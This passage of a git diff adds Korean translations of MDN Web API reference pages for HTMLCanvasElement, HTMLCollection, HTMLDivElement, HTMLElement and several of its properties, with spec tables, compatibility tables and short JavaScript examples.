+ +
<canvas id="canvas" width="300" height="300"></canvas>
+
+ +

다음 코드를 사용해 캔버스의 2d 컨텍스트를 얻을 수 있습니다.

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+console.log(ctx); // CanvasRenderingContext2D { ... }
+
+ +

이제 캔버스에 대한 2D 렌더링 컨텍스트를 갖고 있으며 이 안에 그릴 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML WHATWG')}}최신 스냅샷 {{SpecName('HTML5 W3C')}} 이후에 변경사항 없음
{{SpecName('HTML5.1', "semantics-scripting.html#dom-htmlcanvaselement-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5 W3C')}}초기 정의를 포함하는 {{SpecName('HTML WHATWG')}}의 스냅샷.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLCanvasElement.getContext")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/htmlcanvaselement/index.html b/files/ko/web/api/htmlcanvaselement/index.html new file mode 100644 index 0000000000..cd8c23eb12 --- /dev/null +++ b/files/ko/web/api/htmlcanvaselement/index.html @@ -0,0 +1,242 @@ +--- +title: HTMLCanvasElement +slug: Web/API/HTMLCanvasElement +translation_of: Web/API/HTMLCanvasElement +--- +
+
{{APIRef("Canvas API")}}
+
+ +

HTMLCanvasElement 인터페이스는 <canvas> 요소의 레이아웃이나 프레젠테이션을 조작하는 여러 프로퍼티와 메서드들을 제공합니다. 또한 HTMLCanvasElement 인터페이스는 {{domxref("HTMLElement")}} 인터페이스의 여러 프로퍼티와 메서드들을 상속받습니다.

+ +

프로퍼티

+ +

부모객체인 {{domxref("HTMLElement")}} 로부터 프로퍼티를 상속받음.

+ +
+
{{domxref("HTMLCanvasElement.height")}}
+
는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("height", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다. 속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 150이 사용됩니다.
+
{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}
+
는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("moz-opaque", "canvas")}}를 반영하는 {{jsxref("Boolean")}} 객체입니다. 이는 <canvas>에게 반투명이 인자로 사용될지에 대한 여부를 알려줍니다. 만약 반투명 요소가 없다면, <canvas>의 성능이 최적화될 수 있습니다.
+
{{domxref("HTMLCanvasElement.width")}}
+
는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("width", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다.  속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 300이 사용됩니다.
+
{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}
+
는 페이지가 프린트 되는 경우 호출되는 함수입니다. 사용자는 해당 객체에 특정 자바스크립트 함수를 등록함으로써, 만약 프린터가 사용되는 경우 <canvas>를 더욱 고해상도로 다시 그리게 할 수 있습니다. 기본적으로 null 값을 갖습니다. 다음의 블로그 글을 참조하세요.
+
 
+
+ +

메서드

+ +

부모객체인 {{domxref("HTMLElement")}} 로부터 메서드를 상속받음.

+ +
+
{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}
+
<canvas> 상의 화면을 실시간 비디오로 캡처할 수 있는 {{domxref("CanvasCaptureMediaStream")}} 을 반환합니다.
+
{{domxref("HTMLCanvasElement.getContext()")}}
+
<canvas> 상의 드로잉 컨텍스트를 반환합니다. 만약 컨텍스트 ID가 지원되지 않는 경우 null값을 반환합니다. 드로잉 컨텍스트는 <canvas> 상에 그림을 그릴 수 있게 해줍니다.  getContext를 "2d" 를 매개 변수로 호출한다면 {{domxref("CanvasRenderingContext2D")}} 객체를 반환할 것이며, "experimental-webgl" (또는 "webgl") 를 매개 변수로 호출한다면 {{domxref("WebGLRenderingContext")}} 객체를 반환할 것입니다. 후자의 컨텍스트의 경우 WebGL 이 구현된 브라우저에서만 사용 가능합니다.
+
{{domxref("HTMLCanvasElement.toDataURL()")}}
+
type 파라미터에서 지정하고 있는 포맷(기본: png) 의 이미지를 나타내는 data-URL을 반환합니다. 반환된 이미지는 96dpi의 해상도를 갖습니다.
+
{{domxref("HTMLCanvasElement.toBlob()")}}
+
<canvas>가 포함하고 있는 이미지를 나타내는 {{domxref("Blob")}} 객체를 생성합니다. 이 파일은 사용자의 브라우저에 따라 디스크나 메모리에 캐싱되거나 저장될 수 있습니다.
+
{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}
+
메인 쓰레드나 워커 쓰레드에서 {{domxref("OffscreenCanvas")}} 객체에게 제어 권한을 넘깁니다.
+
{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}
+
<canvas>가 포함하고 있는 이미지를 나타내는 {{domxref("File")}} 객체를 반환합니다. 이 파일은 메모리 기반의 파일이며, name 의 이름을 갖습니다. 만약 type 이 지정되지 않는다면, 이미지는 기본적으로 image/png의 타입을 갖게 될 것입니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}{{Spec2('Media Capture DOM Elements')}}captureStream() 메서드 추가하기
{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML WHATWG')}} +

getContext() 메서드가 이제 단순히 객체를 반환하지 않고 {{domxref("RenderingContext")}} 를 반환함. 
+ 다음의 메서드가 추가됨: probablySupportsContext(), setContext()transferControlToProxy()

+
{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}{{Spec2('HTML5 W3C')}}초기 정의
+ +

브라우저 호환성

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (2D context)4.0{{CompatGeckoDesktop('1.9.2')}}9.09.0 [1]3.1
toBlob()50{{CompatGeckoDesktop('19')}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} (bug 71270)
probablySupportsContext(),
+ setContext(),
+ transferControlToProxy() {{experimental_inline}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozGetAsFile() {{non-standard_inline}} {{deprecated_inline}}{{CompatNo}}{{CompatGeckoDesktop('2')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
captureStream() {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop('41')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
transferControlToOffscreen() {{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop(44)}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (2D context)2.1{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}10.0 [1]3.2
webgl context{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}} as experimental-webgl{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
toBlob(){{CompatNo}} (bug 67587)50{{CompatGeckoMobile('18')}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}} (bug 71270)
probablySupportsContext(),
+ setContext(),
+ transferControlToProxy() {{experimental_inline}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozGetAsFile() {{non-standard_inline}} {{deprecated_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile('2')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
captureStream() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile('41')}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
transferControlToOffscreen() {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(44)}} [3]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Opera Mini 5.0 and later has partial support.

+ +

[2] Support for the third parameter, has been added in Gecko 25 only: when used with the "image/jpeg" type, this argument specifies the image quality.

+ +

[3] This feature is behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.

+ +

참조

+ + diff --git a/files/ko/web/api/htmlcollection/index.html b/files/ko/web/api/htmlcollection/index.html new file mode 100644 index 0000000000..d5087579b4 --- /dev/null +++ b/files/ko/web/api/htmlcollection/index.html @@ -0,0 +1,96 @@ +--- +title: HTMLCollection +slug: Web/API/HTMLCollection +tags: + - API + - DOM + - HTML DOM + - HTMLCollection + - Interface + - Reference +translation_of: Web/API/HTMLCollection +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLCollection 인터페이스는 요소의 문서 내 순서대로 정렬된 일반 컬렉션({{jsxref("Functions/arguments", "arguments")}}처럼 배열과 유사한 객체)을 나타내며 리스트에서 선택할 때 필요한 메서드와 속성을 제공합니다.

+ +
참고: HTMLCollection의 이름은 현대적 DOM의 이전, 구성요소로 HTML 요소만 지닐 수 있었던 시절에 정해졌습니다.
+ +

HTML DOM 내의 HTMLCollection은 문서가 바뀔 때 실시간으로 업데이트됩니다.

+ +

속성

+ +
+
{{domxref("HTMLCollection.length")}} {{readonlyInline}}
+
컬렉션 항목의 갯수를 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("HTMLCollection.item()")}}
+
리스트에서 주어진 인덱스의 노드를 반환합니다. 인덱스가 범위 밖일 경우 {{jsxref("null")}}을 반환합니다.
+
{{domxref("HTMLCollection.namedItem()")}}
+
리스트에서 ID 또는 이름 속성이 주어진 문자열과 일치하는 노드를 반환합니다. 이름 속성 판별은 HTML에서만 최후의 수단으로 쓰이며 참조하는 요소가 name 속성을 지원해야 합니다. 일치하는 요소가 없으면 {{jsxref("null")}}을 반환합니다.
+
+ +

JavaScript에서 사용하기

+ +

HTMLCollection은 구성요소를 이름과 인덱스로 동시에 직접 노출합니다. HTML ID는 :.을 유효한 문자로 포함할 수 있으므로 속성 접근 시에는 괄호 표기법을 사용해야 합니다. HTMLCollection은 배열 스타일 구성요소 접근법과 충돌할 수 있는 순수 숫자 인덱스를 지원하지 않습니다.

+ +
var elem1, elem2;
+
+// document.forms은 HTMLCollection임
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms["named.item.with.periods"];
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}{{ Spec2('DOM2 HTML') }} 
{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}{{ Spec2('DOM1') }}Initial definition.
+ +

브라우저 호환성

+ + + +

같이 보기

+ + diff --git a/files/ko/web/api/htmlcollection/item/index.html b/files/ko/web/api/htmlcollection/item/index.html new file mode 100644 index 0000000000..728aafffbc --- /dev/null +++ b/files/ko/web/api/htmlcollection/item/index.html @@ -0,0 +1,50 @@ +--- +title: HTMLCollection.item +slug: Web/API/HTMLCollection/item +translation_of: Web/API/HTMLCollection/item +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLCollection")}} 의 메소드 item() 은 컬렉션 안의 특정 인덱스에 위치한 노드를 반환합니다.

+ +
+

Note: HTMLCollection은 실시간이기 때문에, DOM을 변경하면 컬렉션 내의 노드도 변경됩니다. 따라서, 한 노드의 인덱스 값이 항상 일정하지는 않습니다. 

+
+ +

Syntax

+ +
var element = HTMLCollection.item(index)
+ +

파라미터

+ +
+
index
+
반환받을 {{domxref("Node")}}의 위치. HTMLCollection에 들어있는 요소들은 도큐먼트에 나타나는 순서와 동일합니다.
+
+ +

반환값

+ +

주어진 인덱스의 {{domxref("Node")}}. index가 0보다 작거나 length 속성보다 크다면 null을 반환합니다.

+ +

참고사항

+ +

item() 메소드는 HTMLCollection으로부터 순서가 매겨진 하나의 요소를 반환합니다. 자바스크립트에서, HTMLCollection을 배열처럼 다루는건 아주 쉽습니다. 아래의 {{anch("Example", "예시")}}를 보세요.

+ +

Example

+ +
var c = document.images;  // HTMLCollection입니다
+var img0 = c.item(0);     // 이렇게 item() 메소드를 이용할 수 있지만
+var img1 = c[1];          // 이렇게 표기하는게 쉽고 더 보편적입니다
+
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLCollection.item")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmldivelement/index.html b/files/ko/web/api/htmldivelement/index.html new file mode 100644 index 0000000000..c694bf6d83 --- /dev/null +++ b/files/ko/web/api/htmldivelement/index.html @@ -0,0 +1,72 @@ +--- +title: HTMLDivElement +slug: Web/API/HTMLDivElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLDivElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLDivElement 인터페이스는 {{domxref("HTMLElement")}} 인터페이스를 확장해, {{htmlelement("div")}} 요소를 조작할 때 사용할 수 있는 추가 속성을 제공합니다.

+ +

{{InheritanceDiagram(600,120)}}

+ +

속성

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +
+
{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}
+
주변 맥락에 대해 요소 콘텐츠의 정렬 위치를 나타내는 {{domxref("DOMString")}}입니다. 가능한 값은 "left", "right", "justify", "center"입니다.
+
+ +

메서드

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5 W3C")}}와 동일합니다.
{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML5 W3C')}}{{SpecName("DOM2 HTML")}}과 동일합니다.
{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM2 HTML')}}{{SpecName("DOM1")}}과 동일합니다.
{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLDivElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmldocument/index.html b/files/ko/web/api/htmldocument/index.html new file mode 100644 index 0000000000..13e801ad04 --- /dev/null +++ b/files/ko/web/api/htmldocument/index.html @@ -0,0 +1,21 @@ +--- +title: HTMLDocument +slug: Web/API/HTMLDocument +tags: + - API + - HTML DOM + - 레퍼런스 + - 인터페이스 +translation_of: Web/API/HTMLDocument +--- +

{{ APIRef("HTML DOM") }}

+ +

HTMLDocument은 일반적인 (XML) 문서에서 기본적으로 존재하지 않는 특별한 프로퍼티와 메소드에 접근을 제공하는 DOM의 추상 인터페이스입니다. 특히 HTML 문서와 엘리먼트에 관련된 기능을 추가해줍니다.

+ +

코어 {{domxref("document")}} 인터페이스에서 파생되었습니다. 메소드와 프로퍼티는 {{domxref("document")}} 페이지에 포함되어있고 DOM 페이지의 해당 섹션에 구분되어 나열되어있습니다.

+ +

명세

+ + diff --git a/files/ko/web/api/htmlelement/accesskeylabel/index.html b/files/ko/web/api/htmlelement/accesskeylabel/index.html new file mode 100644 index 0000000000..110cf03966 --- /dev/null +++ b/files/ko/web/api/htmlelement/accesskeylabel/index.html @@ -0,0 +1,84 @@ +--- +title: accessKeyLabel +slug: Web/API/HTMLElement/accessKeyLabel +translation_of: Web/API/HTMLElement/accessKeyLabel +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.accessKeyLabel 읽기 전용 속성은 엘리먼트의 할당된 접근키를 나타내는 {{jsxref("String")}} 를 반환합니다. 존재하지 않는 경우 빈 문자열을 반환합니다.

+ +

구문

+ +
label = element.accessKeyLabel
+
+ +

예시

+ +

JavaScript

+ +
var node = document.getElementById('btn1');
+if (node.accessKeyLabel) {
+  node.title += ' [' + node.accessKeyLabel + ']';
+} else {
+  node.title += ' [' + node.accessKey + ']';
+}
+
+node.onclick = function () {
+  var p = document.createElement('p');
+  p.textContent = 'Clicked!';
+  node.parentNode.appendChild(p);
+};
+
+ +

HTML

+ +
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
+
+ +

Result

+ +

{{ EmbedLiveSample('Example') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML WHATWG')}}초기 정의로부터 변경 사항 없음.
{{SpecName('HTML5.1')}}{{Spec2('HTML5.1')}}제거됨. pull w3c/html#144issue w3c/html#99WICG discussion.
{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML5 W3C')}}{{SpecName('HTML WHATWG')}}, 초기 정의의 스냅샷.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.HTMLElement.accessKeyLabel")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/htmlelement/click/index.html b/files/ko/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..9c1c8956c0 --- /dev/null +++ b/files/ko/web/api/htmlelement/click/index.html @@ -0,0 +1,47 @@ +--- +title: HTMLElement.click() +slug: Web/API/HTMLElement/click +tags: + - API + - HTML DOM + - HTMLElement + - 레퍼런스 + - 메소드 +translation_of: Web/API/HTMLElement/click +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.click() 메소는 엘리먼트에 마우스 클릭을 시뮬레이션합니다.

+ +

지원하는 엘리먼트({{HTMLElement("input")}} 등)에서 click() 이 사용될 때, 엘리먼트의 클릭 이벤트가 실행됩니다. 그 다음, 다큐먼트 트리(또는 이벤트 체인)에서 더 상위의 엘리먼트로 버블링되며 상위 엘리먼트의 클릭 이벤트를 실행합니다.

+ +

구문

+ +
element.click()
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}{{Spec2('DOM2 HTML')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLElement.click")}}

diff --git a/files/ko/web/api/htmlelement/contenteditable/index.html b/files/ko/web/api/htmlelement/contenteditable/index.html new file mode 100644 index 0000000000..8756d6afdf --- /dev/null +++ b/files/ko/web/api/htmlelement/contenteditable/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.contentEditable +slug: Web/API/HTMLElement/contentEditable +tags: + - API + - HTML DOM + - HTML element + - Property + - Reference +translation_of: Web/API/HTMLElement/contentEditable +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLElement")}} 요소의 contenteditable 속성은 요소의 편집 가능 여부를 나타냅니다. 열거형 속성으로, 다음 중 하나의 값을 가질 수 있습니다.

+ + + +

{{domxref("HTMLElement.isContentEditable")}} 속성으로 이 속성의 {{jsxref("Boolean")}} 계산값을 얻을 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.HTMLElement.contentEditable")}}

+ +

Internet Explorer에서 contenteditable은 {{htmlelement("table")}}, {{htmlelement("col")}}, {{htmlelement("colgroup")}}, {{htmlelement("tbody")}}, {{htmlelement("td")}}, {{htmlelement("tfoot")}}, {{htmlelement("th")}}, {{htmlelement("thead")}}, {{htmlelement("tr")}} 요소에 바로 적용할 수 없습니다. 대신 편집 가능한 {{htmlelement("span")}} 또는 {{htmlelement("div")}} 요소를 표의 각 칸에 배치할 수 있습니다.

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlelement/dataset/index.html b/files/ko/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..2b2a891dca --- /dev/null +++ b/files/ko/web/api/htmlelement/dataset/index.html @@ -0,0 +1,127 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - API + - HTML DOM + - HTMLElement + - HTMLOrForeignElement + - Property + - Read-only + - Reference +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLElement.dataset 읽기 전용 속성은 요소의 사용자 지정 데이터 특성(data-*)에 대한 읽기와 쓰기 접근 방법을 HTML과 DOM 양측에 제공합니다. 반환하는 값은 {{domxref("DOMStringMap")}}으로, 각 데이터 특성마다 하나의 항목을 가집니다. dataset 속성 자체는 읽기 전용이라는 점에 주의하세요. 모든 쓰기 작업은 dataset 안의, 데이터 특성을 나타내는 각각의 속성에 수행해야 합니다. 또한 HTML의 data-이름과, 이에 대응하는 DOM dataset['이름']이름은 서로 일치하지 않으나, 다음 규칙에 따라 유사함을 기억하세요.

+ + + +

아래의 내용과 함께, Using data attributes 아티클에서는 HTML 데이터 속성을 어떻게 쓰는지 안내를 찾을 수 있습니다. 

+ +

Name conversion

+ +

dash-style 에서 camelCase로 변환: 커스텀 데이터 속성의 이름은 아래의 규칙에 따라 {{ domxref("DOMStringMap") }}의 key로 변환됩니다. 

+ + + +

camelCase 에서 dash-style로 변환: key를 속성 이름으로 매핑하는 반대의 변환은 아래의 규칙을 따릅니다.:

+ + + +

이러한 제약 조건은 반드시 두 변환이 서로의 역이 되도록 합니다.

+ +

예를 들어, data-abc-def 라는 이름의 속성은 abcDef 라는 키에 대응합니다.

+ +

Accessing values

+ + + +

Syntax

+ + + +

예시

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div>
+ +
const el = document.querySelector('#user');
+
+// el.id === 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.HTMLElement.dataset")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlelement/index.html b/files/ko/web/api/htmlelement/index.html new file mode 100644 index 0000000000..b73e398f7a --- /dev/null +++ b/files/ko/web/api/htmlelement/index.html @@ -0,0 +1,271 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement 인터페이스는 모든 종류의 HTML 요소를 나타냅니다. 일부 요소는 이 인터페이스를 직접 구현하지만 나머지 요소는 HTMLElement를 상속한 자식 인터페이스를 구현합니다.

+ +

{{InheritanceDiagram}}

+ +

속성

+ +

부모인 {{domxref("Element")}}의 속성을 상속합니다. {{domxref("GlobalEventHandlers")}}, {{domxref("TouchEventHandlers")}}의 속성을 구현합니다.

+ +
+
{{domxref("HTMLElement.accessKey")}}
+
요소에 할당된 접근 키를 나타내는 {{domxref("DOMString")}}입니다.
+
{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}
+
요소에 할당된 접근 키를 포함하는 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("HTMLElement.contentEditable")}}
+
요소가 수정 가능하면 "true", 그렇지 않으면 "false" 값을 갖는 {{domxref("DOMString")}}입니다.
+
{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}
+
요소의 콘텐츠가 수정 가능한지 여부를 나타내는 {{domxref("Boolean")}}을 반환합니다.
+
{{domxref("HTMLElement.contextMenu")}} {{deprecated_inline}}
+
요소와 관련된 콘텍스트 메뉴를 나타내는 {{domxref("HTMLMenuElement")}}입니다. {{jsxref("null")}}일 수 있습니다.
+
{{domxref("HTMLElement.dataset")}} {{readonlyInline}}
+
요소의 사용자 지정 데이터 속성(data-*)을 스크립트에서 읽고 쓸 수 있는 {{domxref("DOMStringMap")}}을 반환합니다.
+
{{domxref("HTMLElement.dir")}}
+
요소의 방향성을 표현하는 전역 속성 dir 을 나타내는 {{domxref("DOMString")}} 을 반환합니다. 가능한 값은 "ltr", "rtl", "auto" 입니다.
+
{{domxref("HTMLElement.draggable")}}
+
요소가 드래그 가능한지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.
+
{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}
+
dropzone 전역 속성을 나타내고 drop 작업에 대한 동작을 설명하는 {{domxref("DOMSettableTokenList")}} 를 반환합니다.
+
{{domxref("HTMLElement.hidden")}}
+
요소가 숨김상태인지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.
+
{{domxref("HTMLElement.inert")}}
+
유저 에이전트가 사용자 인터렉션 이벤트, 페이지 내 텍스트 검색("페이지에서 찾기"), 텍스트 선택의 목적으로 주어진 노드가 없는 것처럼 동작해야하는지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.
+
{{domxref("HTMLElement.innerText")}}
+
노드와 그 자손의 "렌더링된" 텍스트 컨텐츠를 나타냅니다. getter 로써, 이는 사용자가 커서로 요소의 컨텐츠를 하이라이팅한 후 클립보드로 복사하면 얻을 수 있는 텍스트와 유사합니다.
+
{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}
+
항목 스코프를 나타내는 {{jsxref("Boolean")}} 입니다.
+
{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("DOMSettableTokenList")}}… 를 반환합니다.
+
{{domxref("HTMLElement.itemId")}} {{experimental_inline}}
+
항목 ID 를 나타내는 {{domxref("DOMString")}} 입니다.
+
{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("DOMSettableTokenList")}}… 를 반환합니다.
+
{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("DOMSettableTokenList")}}… 를 반환합니다.
+
{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}
+
항목 값을 나타내는 {{jsxref("Object")}} 를 반환합니다.
+
{{domxref("HTMLElement.lang")}}
+
요소의 속성, 텍스트, 컨텐츠의 언어를 나타내는 {{domxref("DOMString")}} 입니다.
+
{{domxref("HTMLElement.noModule")}}
+
임포트한 스크립트가 모듈 스크립트를 지원하는 유저 에이전트에서 실행될 수 있는지를 나타내는 {{jsxref("Boolean")}} 입니다.
+
{{domxref("HTMLElement.nonce")}}
+
주어진 페치(fetch)의 진행을 허용할지를 결정하기 위한 컨텐츠 보안 정책(Content Security Policy)에서 한 번 사용된 암호회된 숫자를 반환합니다.
+
{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}
+
레이아웃에 상대적인 요소의 높이를 갖는 double 을 반환합니다.
+
{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}
+
요소의 left border 부터 offsetParent 의 left border 까지의 거리를 double 로 반환합니다.
+
{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}
+
모든 오프셋 계산이 현재 연산된 요소인 {{domxref("Element")}} 를 반환합니다.
+
{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}
+
요소의 top border 부터 offsetParent 의 top border 까지의 거리를 double 로 반환합니다.
+
{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}
+
레이아웃에 상대적인 요소의 너비를 갖는 double 을 반환합니다.
+
{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("HTMLPropertiesCollection")}}… 을 반환합니다.
+
{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}
+
